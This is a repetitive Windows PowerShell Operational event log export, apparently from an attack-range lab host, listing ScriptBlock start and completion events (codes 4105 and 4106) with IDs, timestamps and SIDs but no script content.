RecordNumber=2025476
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025475
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025474
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025473
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025472
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025471
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025470
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025469
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025468
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025467
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025466
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025465
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025464
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025463
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025462
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025461
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025460
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025459
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025458
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025457
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025456
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025455
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025454
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025453
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025452
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025451
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025450
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025449
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025448
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025447
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025446
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025445
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025444
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025443
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025442
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025441
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025440
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025439
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025438
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025437
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025436
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025435
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025434
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025433
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025432
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025431
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025430
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025429
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025428
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025427
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025426
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025425
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025424
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025423
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
